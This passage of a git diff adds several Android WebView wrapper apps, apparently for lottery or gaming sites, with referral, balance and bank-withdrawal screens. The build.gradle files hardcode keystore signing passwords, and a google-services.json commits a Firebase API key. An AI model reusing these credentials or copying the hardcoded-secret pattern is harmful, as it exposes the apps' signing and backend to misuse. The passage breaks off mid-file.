-0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/values/colors.xml b/okego/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd66e6e --- /dev/null +++ b/okego/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0b1d96 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/okego/src/main/res/values/strings.xml b/okego/src/main/res/values/strings.xml new file mode 100644 index 0000000..550459f --- /dev/null +++ b/okego/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + OKEGO + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/values/themes.xml b/okego/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/okego/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/xml/app_updater_paths.xml b/okego/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/okego/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/xml/network_security_config.xml b/okego/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/okego/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/okego/src/main/res/xml/provider_paths.xml b/okego/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/okego/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/okego/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/okego/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/only1au/.gitignore b/only1au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/only1au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/only1au/build.gradle b/only1au/build.gradle new file mode 100644 index 0000000..7cbf4fa --- /dev/null +++ b/only1au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.only1au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "only1au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/only1au/google-services.json b/only1au/google-services.json new file mode 100644 index 0000000..e66cceb --- /dev/null +++ b/only1au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "348143751612", + "project_id": "auonly1-13223", + "storage_bucket": "auonly1-13223.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:348143751612:android:72d21e65a8d747efdadbb9", + "android_client_info": { + "package_name": "com.xyz.only1au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCHqUlHHl6tCtcbsoJwH9jjTVMiwZRvZ_E" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/only1au/ppn.jks b/only1au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/only1au/ppn.jks differ diff --git a/only1au/proguard-rules.pro b/only1au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/only1au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/only1au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/only1au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/only1au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/only1au/src/main/AndroidManifest.xml b/only1au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..9fd4e5f --- /dev/null +++ b/only1au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/java/com/xyz/only1au/MainActivity.java b/only1au/src/main/java/com/xyz/only1au/MainActivity.java new file mode 100644 index 0000000..d3c15d1 --- /dev/null +++ b/only1au/src/main/java/com/xyz/only1au/MainActivity.java @@ -0,0 +1,49 @@ +package com.xyz.only1au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 171; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://only1au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#706091"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffffff"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/only1au/src/main/java/com/xyz/only1au/MyFirebaseMessageingService.java b/only1au/src/main/java/com/xyz/only1au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..666b895 --- /dev/null +++ b/only1au/src/main/java/com/xyz/only1au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.only1au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/only1au/src/main/java/com/xyz/only1au/WebApplication.java b/only1au/src/main/java/com/xyz/only1au/WebApplication.java new file mode 100644 index 0000000..190d5e1 --- /dev/null +++ b/only1au/src/main/java/com/xyz/only1au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.only1au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/only1au/src/main/res/drawable-anydpi/ic_action_back.xml b/only1au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/only1au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/only1au/src/main/res/drawable-hdpi/ic_action_back.png b/only1au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/only1au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/only1au/src/main/res/drawable-mdpi/ic_action_back.png b/only1au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/only1au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/only1au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/only1au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/only1au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable-xhdpi/ic_action_back.png b/only1au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/only1au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/only1au/src/main/res/drawable-xxhdpi/ic_action_back.png b/only1au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/only1au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/only1au/src/main/res/drawable/big_bg.xml b/only1au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c74eb83 --- /dev/null +++ b/only1au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/ic_launcher_background.xml b/only1au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/only1au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/only1au/src/main/res/drawable/input_bg.xml b/only1au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/only1au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/only1au/src/main/res/drawable/pass_word_bg.xml b/only1au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/only1au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/only1au/src/main/res/drawable/pass_word_bg1.xml b/only1au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/only1au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/pass_word_bg2.xml b/only1au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/only1au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/shape_btn_bg.xml b/only1au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/only1au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/shape_dialog_bg2.xml b/only1au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/only1au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/shape_dialog_bg3.xml b/only1au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/only1au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/drawable/shape_dialog_bg_new.xml b/only1au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/only1au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/only1au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/mipmap-hdpi/ic_empty.png b/only1au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/only1au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/only1au/src/main/res/mipmap-hdpi/ic_pull_down.png b/only1au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/only1au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/only1au/src/main/res/mipmap-xhdpi/ic_close.png b/only1au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/only1au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/only1au/src/main/res/mipmap-xhdpi/ic_menu.png b/only1au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/only1au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/only1au/src/main/res/mipmap-xxhdpi/app_logo.png b/only1au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..60ad688 Binary files /dev/null and b/only1au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/only1au/src/main/res/values-en/strings.xml b/only1au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/only1au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/only1au/src/main/res/values-night/themes.xml b/only1au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/only1au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/values/colors.xml b/only1au/src/main/res/values/colors.xml new file mode 100644 index 0000000..f9e3d04 --- /dev/null +++ b/only1au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #6b6396 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/only1au/src/main/res/values/strings.xml b/only1au/src/main/res/values/strings.xml new file mode 100644 index 0000000..c28a3c4 --- /dev/null +++ b/only1au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + ONLY1AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/values/themes.xml b/only1au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/only1au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/xml/app_updater_paths.xml b/only1au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/only1au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/main/res/xml/network_security_config.xml b/only1au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/only1au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/only1au/src/main/res/xml/provider_paths.xml b/only1au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/only1au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/only1au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/only1au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/only1au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/ozlotto88/.gitignore b/ozlotto88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/ozlotto88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/ozlotto88/build.gradle b/ozlotto88/build.gradle new file mode 100644 index 0000000..3905728 --- /dev/null +++ b/ozlotto88/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.ozlotto88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "ozlotto88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + 